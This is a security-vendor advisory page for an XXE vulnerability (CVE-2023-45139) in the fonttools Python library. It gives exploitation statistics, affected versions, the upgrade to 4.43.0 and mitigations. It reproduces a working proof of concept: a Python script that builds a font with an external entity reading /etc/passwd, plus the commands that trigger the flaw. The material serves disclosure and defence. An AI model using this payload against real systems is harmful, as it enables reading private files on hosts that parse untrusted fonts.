Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-6673-4983-2vx5 — fonttools

HIGHFix: fonttools/fonttools@9f61271

GHSA-6673-4983-2vx5 is a high-severity (CVSS 7.5) XML External Entity (XXE) vulnerability in fonttools. 1 public exploit reference exists, so weaponization risk is real. A fix is available for fonttools — see the affected versions and patch details below.

fonttools XML External Entity Injection (XXE) Vulnerability

Also known asCVE-2023-45139PYSEC-2026-1388
Published
Jan 9, 2024
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
1 known
Exploitation data as of Sep 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-6673-4983-2vx5.

EPSS Exploitation Probability

via FIRST.org ↗
1.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs68th percentile — riskier than 68% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-6673-4983-2vx5 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍fonttools

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

As of fonttools>=4.28.2 the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed.

This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system.

PoC

The vulnerability can be reproduced following the bellow steps on a unix based system.

  1. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised /etc/passwd for our POC file to include and modified an existing subset integration test to build the POC font - see bellow.

from string import ascii_letters
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
from fontTools.ttLib import newTable


XXE_SVG = """\
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <g id="glyph1">
    <text font-size="10" x="0" y="10">&test;</text>
  </g>
</svg>
"""

def main():
    # generate a random TTF font with an SVG table
    glyph_order = [".notdef"] + list(ascii_letters)
    pen = TTGlyphPen(glyphSet=None)
    pen.moveTo((0, 0))
    pen.lineTo((0, 500))
    pen.lineTo((500, 500))
    pen.lineTo((500, 0))
    pen.closePath()
    glyph = pen.glyph()
    glyphs = {g: glyph for g in glyph_order}

    fb = FontBuilder(unitsPerEm=1024, isTTF=True)
    fb.setupGlyphOrder(glyph_order)
    fb.setupCharacterMap({ord(c): c for c in ascii_letters})
    fb.setupGlyf(glyphs)
    fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order})
    fb.setupHorizontalHeader()
    fb.setupOS2()
    fb.setupPost()
    fb.setupNameTable({"familyName": "TestSVG", "styleName": "Regular"})

    svg_table = newTable("SVG ")
    svg_table.docList = [
       (XXE_SVG, 1, 12)
    ]
    fb.font["SVG "] = svg_table

    fb.font.save('poc-payload.ttf')

if __name__ == '__main__':
    main()

  1. Subset the font with an affected version of fontTools - we tested on fonttools==4.42.1 and fonttools==4.28.2 - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process):
pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs
  1. Read the parsed SVG table in the subsetted font:
ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx

Observed the included contents of the /etc/passwd file.

Impact

Note the final severity is dependant on the environment fontTools is running in.

  • The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on

Possible Mitigations

There may be other ways to mitigate the issue, but some suggestions:

  1. Set the resolve_entities=False flag on parsing methods
  2. Consider further methods of disallowing doctype declarations
  3. Consider recursive regex matching

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIfonttools≥ 4.28.2&&< 4.43.04.43.0pip install --upgrade 'fonttools==4.43.0'
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fonttools, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update fonttools to 4.43.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6673-4983-2vx5 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-6673-4983-2vx5 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-6673-4983-2vx5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Frequently Asked Questions

### Summary As of `fonttools>=4.28.2` the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. ### PoC The vulnerability can be reproduced following the bellow steps on a unix based system. 1. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our test
O3 Security · Impact-Aware SCA

Is GHSA-6673-4983-2vx5 in your dependencies?

O3 Security finds GHSA-6673-4983-2vx5 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-6673-4983-2vx5: fonttools (High 7.5) | O3 Security